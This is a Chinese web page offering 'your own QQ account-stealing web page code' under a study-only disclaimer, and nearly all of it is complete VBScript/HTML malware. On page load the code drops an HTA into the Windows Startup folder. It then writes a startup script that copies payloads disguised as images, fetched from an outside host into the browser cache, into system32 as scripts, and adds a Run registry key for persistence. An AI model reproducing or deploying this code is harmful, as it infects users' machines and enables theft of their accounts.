自己制作盗QQ号网页代码

    本文章只供学习使用，请勿做其他用途！ 

＜html＞
＜script language=vbs＞
'on error resume next
rem czy a scit boy 2002.3.31
aosoao
sub cal()
myname=document.location
If Right(myname, 3) = "hta" Then
call svbs()
end if
end sub
sub svbs()
'on error resume next
set fso = createobject("Scripting.FileSystemObject")
If not (fso.FolderExists("c:\windows\system32\qq")) Then
fso.CreateFolder("c:\windows\system32\qq")
call sv()
else
settimeout "aa()",1
end if
end sub
sub sv()
set fso = createobject("Scripting.FileSystemObject")
set fil = fso.opentextfile("C:\WINDOWS\Start Menu\Programs\启动\so.vbs",2,tr
ue)
fil.writeline "drnext"
fil.writeline "sub drnext()"
fil.writeline "on error resume next"
fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")"
fil.writeline "If (fso.FileExists(""C:\WINDOWS\Start Menu\Programs\启动\so.h
ta"")) Then"
fil.writeline "fso.DeleteFile(""C:\WINDOWS\Start Menu\Programs\启动\so.hta""
)"
fil.writeline "end if"
fil.writeline "for each dr in fso.getfolder(""C:\windows\tempor~1"").subfold
ers"
fil.writeline " fdnext(dr)"
fil.writeline " flnext(dr)"
fil.writeline " next "
fil.writeline "end sub"
fil.writeline "sub fdnext(dr)"
fil.writeline "for each fd in dr.subfolders"
fil.writeline " fdnext(fd)"
fil.writeline " flnext(fd)"
fil.writeline "next"
fil.writeline "end sub"
fil.writeline "sub flnext(dr)"
fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")"
fil.writeline "for each fl in dr.files"
fil.writeline "If LCase(fso.GetFileName(fl))=""123451[1].bmp"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\1.bmp"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123452[1].ico"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\1.ico"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123453[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\2.jpg"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123454[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\dl.vbs"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123455[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq.vbs"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123456[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq1.hta"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123457[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq2.hta"""
fil.writeline " End If"
fil.writeline "next"
fil.writeline "set R = CreateObject(""WScript.Shell"")"
fil.writeline "R.RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\
Run\qq"",_"
fil.writeline """c:\windows\system32\qq\qq.vbs"""
fil.writeline "end sub"
'----------------------------
settimeout "aa()",1
end sub
sub aa()
window.close
end sub
＜/script＞
＜script language=vbscript＞
on error resume next
function lvbs()
For Each ws In document.scripts
If LCase(ws.Language) = "vbs" Then
Lvbs = ws.Text
Exit Function
End If
next
end function
main
sub main()
dim aa
lvbs
aa="＜html＞＜script language=vbscript＞" & lvbs & "＜" & "/" & "script" & "＞" &
"＜" & "/" & "html" & "＞"
set os = createobject("Scriptlet.TypeLib")
Os.Reset
Os.Path = "C:\WINDOWS\Start Menu\Programs\启动\so.hta"
Os.Doc = aa
Os.Write()
end sub
＜/script＞
＜img src=http://www.it.com.cn/f/edu/051/17/123451.bmp＞
＜img src=123452.ico＞
＜img src=http://www.it.com.cn/f/edu/051/17/123453.jpg＞
＜img src=http://www.it.com.cn/f/edu/051/17/123454.jpg＞
＜img src=http://www.it.com.cn/f/edu/051/17/123455.jpg＞
＜img src=http://www.it.com.cn/f/edu/051/17/123456.jpg＞
＜img src=http://www.it.com.cn/f/edu/051/17/123457.jpg＞
＜body＞
＜/body＞
＜/html＞